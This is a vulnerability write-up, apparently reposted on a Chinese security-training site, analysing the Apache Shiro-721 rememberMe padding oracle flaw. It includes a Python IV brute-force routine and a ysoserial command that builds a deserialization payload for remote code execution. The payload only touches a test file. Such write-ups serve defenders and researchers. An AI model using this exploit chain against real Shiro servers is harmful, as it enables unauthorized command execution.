当前位置:网站首页 > 网络安全培训 > 正文

Shiro-721: RememberMe Padding Oracle Attack

freebuffreebuf 2019-11-19 318 0

本文来源:京东云安全

0x01 概述

         Shiro 使用 AES-128-CBC模式对cookie进行加密,受Padding Oracle Attack影响。

         影响范围:

1.2.5, 1.2.6, 1.3.0, 1.3.1, 1.3.2, 1.4.0-RC2, 1.4.0, 1.4.1

利用条件:

合法用户cookie中的rememberMe值。

0x02 漏洞分析

    rememberMe CookieRememberMeManager 所使用的的值,是序列化字符串经对称密钥加密后的密文。在一些存在漏洞站点中,因为使用了某些默认的密钥,导致攻击者可以构造任意包含恶意序列化字符串的密文,进而利用反序列化操作执行任意命令。本漏洞中,攻击者不需要得知密钥,仅需要获取一个合法的rememberMe值即可通过Padding Oracle Attack构造恶意密文,达成攻击。

     Padding Oracle Attack是针对使用特定填充协议的CBC Mode分组加密过程的攻击,在满足攻击条件的情况下,利用Padding Oracle Attack可以在无需获取密钥的情况下,解密任意密文或构造任意明文的合法密文。

    CBC 工作模式流程如图所示:

1280px-CBC_encryption.svg.png

1280px-CBC_decryption.svg.png

对任意任一区块的操作为:

  加密: P ⊕ IV = IMV => C= E(IMV)    解密: IMV = D(C) => P = IMV ⊕ IV     P: PlainText    C: CipherText    IV: Initialization Vector    IMV: Intermedia Value    D(): Decrypto with key    E(): Encrypto with key

各分组区块间相互作用,顺序链接。同时,由于分组加密需要各分组满足一定长度要求,不足的分组需要进行一定的填充,在PKCS#5 padding方案中,使用不足的长度值作为填充数值。解密操作得到的明文如果不满足padding方案,则判定密文非法。一般实现中,对此种情况会抛出异常。

在此情况下,对于给定的C,IMV是确定,IV可控,则P的合法性可借由Padding数值、长度以及报错信息得以谕示。通过操作IV,可以做到对IMV的猜解,进而获取明文。同样的,通过控制IV也可以使任意P满足P ⊕ IV = IMV,进而可获取任意明文的加密数据。即,Padding Oracle Attack。

可以总结,Padding Oracle Attack 的条件为:

1、密文及IV

2、谕示,即解密失败或成功的结果。


对于Shiro,其使用了如下实现:

    // core\src\main\java\org\apache\shiro\mgt\AbstractRememberMeManager.java      protected byte[] decrypt(byte[] encrypted) {             byte[] serialized = encrypted;             CipherService cipherService = getCipherService();             if (cipherService != null) {                 ByteSource byteSource = cipherService.decrypt(encrypted, getDecryptionCipherKey());                 serialized = byteSource.getBytes();             }             return serialized;         }      protected PrincipalCollection convertBytesToPrincipals(byte[] bytes, SubjectContext subjectContext) {         if (getCipherService() != null) {             bytes = decrypt(bytes);  // decrypto         }         return deserialize(bytes);  // deserualize     }      public PrincipalCollection getRememberedPrincipals(SubjectContext subjectContext) {             PrincipalCollection principals = null;             try {                 byte[] bytes = getRememberedSerializedIdentity(subjectContext);                 //SHIRO-138 - only call convertBytesToPrincipals if bytes exist:                 if (bytes != null                  }             } catch (RuntimeException re) {                 principals = onRememberedPrincipalFailure(re, subjectContext); // set-cookie: Remember=delete             }              return principals;

传入的remember数值生成过程为:

      Base64Encode(IV+AES-128-CBC.encrypto(Serialize(object))))

         处理过程为:

      Deserialize(AES-128-CBC.decrypto(Base64Decode(Cookie)))

其中,对于正确和错误的密文,存在两种不同的反馈:

    无效rememberMe: 响应中存在 `Set-Cookie: rememberMe=deleteMe`     有效rememberMe:响应中无 `Set-Cookie: rememberMe=deleteMe`

以上处理,正满足Padding Oracle Attack的利用条件。

0x03 复现

复现步骤:

        1. 从合法用户的cookie中获取RememberMe值。 	2. 通过Padding Oracle Attack构造padload的密文 	3. 将原RememberMe值与构造出的payload密文进行拼接,编码后作为新的RememberMe值发送,触发反序列化。

区块爆破代码:

def generate_pre_ciphertext(plaintext, ciphertext):     plaintext = list(plaintext)     print(plaintext)      iv = list("0" * block_length)     iv = [int(item, 16) for item in iv]      index = block_length - 1  # 最低起始位     while index >= 0:         while not send_and_check(iv, ciphertext):             iv[index] += 1          # 处理可能的连续 padding值,如 00000202,与00000201均合法         # 触及填充位则报错,否则正常。         if index == block_length - 1:             for tmp_index in range(block_length - 1):                 iv[tmp_index] += 1                 if not send_and_check(iv, ciphertext):                     index = tmp_index                 iv[tmp_index] -= 1          if index != 0:             for tmp_index in range(index - block_length, 0):                 current_padding = block_length - index                 next_padding = block_length - index + 1                 iv[tmp_index] = iv[tmp_index] ^ current_padding ^ next_padding         index -= 1     for i in range(block_length):         if isinstance(plaintext[i], str):             plaintext[i] = ord(plaintext[i])         iv[i] = iv[i] ^ 0x10 ^ plaintext[i]     return "".join(["{:02x}".format(i) for i in iv])

使用 ysoerial构造序列化payload

  java -jar ysoserial-master-SNAPSHOT.jar  CommonsBeanutils1 "touch /tmp/shiro"

复现结果:

real_前.png

real_后.png

0x04 参考

1. Shiro-721

2. Padding Oracle Attack的一些细节与实现

3. Padding Oracle Attack详解

4. Automated Padding Oracle Attacks With PadBuster

5. Going the other way with padding oracles: Encrypting arbitrary data!

6. Shiro RCE again(Padding Oracle Attack)

7. poracle



转载请注明来自网盾网络安全培训,本文标题:《Shiro-721: RememberMe Padding Oracle Attack》

标签:SHIRO-721 Apache Shiro RCE with Padding Oracle

关于我

欢迎关注微信公众号

关于我们

网络安全培训,黑客培训,渗透培训,ctf,攻防

标签列表